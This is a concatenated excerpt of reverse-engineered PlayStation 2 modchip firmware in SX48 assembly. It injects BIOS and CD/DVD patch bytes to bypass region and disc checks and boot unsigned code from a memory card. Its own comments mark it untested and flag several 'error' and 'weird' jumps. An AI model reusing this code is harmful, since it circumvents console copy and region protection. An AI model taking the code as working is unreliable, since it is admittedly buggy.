IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;dvd_c1 mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb USA_FLAG jmp CDDVD_USA snb UK_FLAG jmp CDDVD_UK mov w,#$10 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_UK mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_USA clr w ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$1f mov m,w mov w,#$f mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH mov w,#$ff CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov !IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb SOFT_RST jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 COMPLETELY DIFFERENT ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;;h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w ;;PS2LOGO_PATCH_19_20_JMP2 ;; is error for where in ps2 bios load v10 jmp ?? mov w,#$20 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 ;;Label_0198 ;; error jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_2 page $0000 call SET_INTRPT POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w POST_PATCH_4_MODE_START_L1_2 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2_2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3_2 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4_2 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2_2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4_2 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3_2 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2_2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1_2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;-------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_L5_2 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4_2 POST_PATCH_4_MODE_START_P2_2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp POST_PATCH_4_MODE_START2_2 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; weird jmp Label_0190 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; weird jmp Label_0190 PS1_CONSOLE_PAL_YFIX_SYNC_L2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 ;; here weird jmp Label_0191 ;; error mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 ;; weird jmp Label_0192 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;; different jmp BIOS_PATCH_DEV1 , error ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;;todo weird jmp Label_0194 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 ;;todo weird jmp Label_0195 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;;todo weird jmp Label_0194 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 ;;todo weird jmp Label_0196 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; weird jmp PS2LOGO_PATCH_19_20_JMP2 ;; error PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 ;; weird jmp DEV1_MODE_LOAD_LOOP ;; error decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; weird jmp PS2LOGO_PATCH_19_20_JMP2 ;; error mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 ;; weird jmp Label_0198 ;; error mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr ;; extra than sx28 setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo ?? page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 ;v12 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$49 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$44 mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 ;; error NOTBUG_JMP1 ; edit from bugged jmp middle of dev1, gone now due to h2o dev1 ported ;; h2o diff ;LOADV10A PS2LOGO_PATCH_11_17_JMP1 retw $50 retw $81 ;LOADL1 ;; PS2LOGO_PATCH_19_20_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 ;; mov w,#$6b mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;; retw $af retw $5 retw $4 retw $8 ;;V14DRV ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#$72 mov VAR_DC1,w mov VAR_DC2,w clr w mov VAR_DC3,w mov w,#$20 mov fsr,w ;;PS2_PS2LOGO ;;PS2_PS2LOGO:loopa ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT ;; clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb V12_FLAG jmp PS1_MODE_START ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37 mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL . think right ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

112,376

sx48WIP/sx48-h2o-working-port-75k-todo.s

;******************************************************************************** ; final-48.sxh hash 332FC3EFC0BB69F1CD0AB74E76AB210E ;******************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr AD8D815BD099E0709BF588415E24D804 ;;now implemented, but checksums below not updated from sx28. none tested. ;only f=tr tested on v3pal ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;fsr convert ; 15h-1f sx28 addresses + b due to sx48 20h start ; 30h+ addresses - 5 due to 15h-20h=b b-10h=5 due to or 10h for map :) ;;todo indf if needs. yet to test in 75k ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media JAP_V8 = VAR_SWITCH.3 DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov 